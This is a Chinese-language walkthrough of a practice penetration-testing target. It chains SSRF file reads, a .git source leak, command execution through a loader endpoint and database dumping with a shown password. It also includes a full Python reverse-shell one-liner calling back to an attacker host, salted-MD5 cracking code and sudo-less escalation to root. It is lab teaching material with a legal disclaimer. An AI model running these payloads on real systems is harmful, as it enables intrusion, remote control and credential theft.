Administrator
发布于 2026-03-26 / 24 阅读
0
0

tager-A-渊 渗透思路

前言

这是一台综合型渗透靶机,包含 SSRF、Git 信息泄露、RCE 命令执行、数据库脱库、MD5 加盐爆破、sudo 配置不当提权等多个高频考点。全程从外网打点到内网提权,完整走完一条渗透攻击链

一、信息收集

1.主机发现

  • 主机发现

    已知网段为 192.168.101.0/24,使用 Nmap 扫描存活主机与端口服务:执行代码

nmap -sV 192.168.101.0/24
  • 结果图

扫描结果:靶机 IP 192.168.101.116,开放 80 端口(HTTP)


2.Web 页面初探

使用浏览器访问IP192.168.101.116

  1. 尝试注册,并能直接登录进去

  • 结果图:

可正常注册账号并登录,页面提供两个功能:

  • URL 可用性测试

  • 模块加载器(需要账号密码登录)


3. 发现 SSRF 漏洞

页面中出现 /api/url_check.php,结合 curl 调用特征,判断存在 SSRF(服务端请求伪造)

利用 file:// 协议读取服务器本地文件

file:///var/www/html/index.php
  • 结果图

  • 页面回显了 index.php 的源码 → 确认了 url_check.phpSSRF 漏洞入口

4. 读取敏感文件

.htpasswd此时使用,得到一个用户和密码

file:///var/www/html/api/.htpasswd
  • htpasswdApache/Nginx 官方用来存 “HTTP 基础认证账号密码” 的默认文件名

  • 等会我们查看模版加载器时会出现弹窗,所以账户和密码默认存在

  • 结果图

  • 获取到账号密码,用于登录模块加载器功能

/etc/passwd 查看这个得到又个系统用户liwei

file:///var/www/html/etc/passwd

5.Git 信息泄露

5.1 以上信息收集完后,我们可以使用nmap漏洞扫描,看看有什么漏洞,得到一个.git目录泄露

nmap -sV --script=vuln 192.168.101.116

结果图

  1. 2 我们用浏览器访问这个路径

  • 结果图

5.3 下载整个 Git 仓库到本地:

wget -r --no-parent http://192.168.101.116/.git/

5.4 查看日志得到提交哈希值,执行版本回退:

git reset --hard 32c6f0c67e8d557e191e745a44aac9b96e6851d7
  • 结果图:

5.5 使用python3 成功还原历史源码,拿到 MD5 token 等敏感信息

  • 结果图:


二、拿下 Webshell

1. 进入管理员面板

http://192.168.101.116/api/admin_panel

结果图:

2. 测试命令执行漏洞

访问构造 URL,测试系统命令执行:

http://192.168.101.116/api/loader.php?module=admin_panel&token=bob&exec=whoami
  • 结果图

页面成功回显当前用户,确认存在 RCE 远程命令执行

3. 反弹 Shell 获得控制权

攻击机开启监听:

nc -lvnp 4444

靶机此时我们使用反弹shell进行连接

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

成功拿到 Apache 权限交互式 Shell

三、内网信息收集 & Flag1

1. 读取数据库配置文件

在 Web 目录找到数据库配置 db.php

cat /var/www/html/db.php
  • 基于当前服务环境为 Apache,可判断控制点位于 Web 根目录 /var/www/html 下的某一子目录中。经目录回溯,在其上级目录中发现 db.php 配置文件。查看该文件后,成功获取其中存储的数据库连接账号与密码

2. 获取 Flag1

cat /var/www/flag1.txt
  • 结果图

四、数据库脱库与密码破解

1. 直接查询用户数据

因为登录数据库表示我们权限不够

  • 结果图:

  • 所以我们使用数据库账号直接查询用户表

mysql -u root -pR#xK9mWz\$2pLnQ7v abyss_platform -e "SELECT * FROM users;"

结果图

该数据库已经拿到了核心信息用户(admin)和用户的密码,

2.分析加密规则

查看源码发现密码规则:

#输入指令
cat /var/www/html/index.php

结果图:

图解析:通过查看 index.php 源码,发现密码验证逻辑:密码哈希的计算方式是 md5(密码 + 时间戳)

  • 于是我们使用python脚本:得到密码:dragon

import hashlib
with open("/home/kali/php/rockyou.txt","rb") as f1:
    dict=f1.read()
for i in dict.split(b"\n"):
    if hashlib.md5(i+b"1742900000").hexdigest()=="d450a27a0caf3b9dcc7f03e4c492f7ac":
 
      print(i)
      break

暴力破解成功,根据信息推断,系统用户 liwei 密码同样为 dragon

于是就这样我们拿到了flag2

五、权限提升 & Flag3

1. 查看 sudo 权限

sudo -l

发现关键权限:

可无密码使用 sudo 执行 less 命令

sudo /usr/bin/less /var/log/abyss/../../../../flag3.txt

六、总结

  1. Nmap 端口扫描 → 发现 Web 服务

  2. 发现 SSRF → 利用 file 协议读文件

  3. Git 信息泄露 → 还原源码拿到敏感信息

  4. 模块加载器 RCE → 反弹 Shell 拿下服务器

  5. 数据库配置泄露 → 脱库拿到用户哈希

  6. MD5 加盐爆破 → 得到系统用户密码

  7. su 切换用户 → 获取 Flag2

  8. sudo less 配置不当 → 提权到 root → 获取 Flag3

七、涉及知识点

  • SSRF 利用 file 协议读取本地文件

  • Git 信息泄露与源码还原

  • 远程命令执行 RCE

  • 数据库配置文件泄露

  • MD5 加盐密码爆破

  • sudo 权限不当导致的提权(less 漏洞)

免责声明

警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。

请确保:

  1. 仅在自有系统或获得明确书面授权的系统上进行测试

  2. 了解并遵守所在地区的法律法规

  3. 负责任地使用所学知识,遵守职业道德规范


评论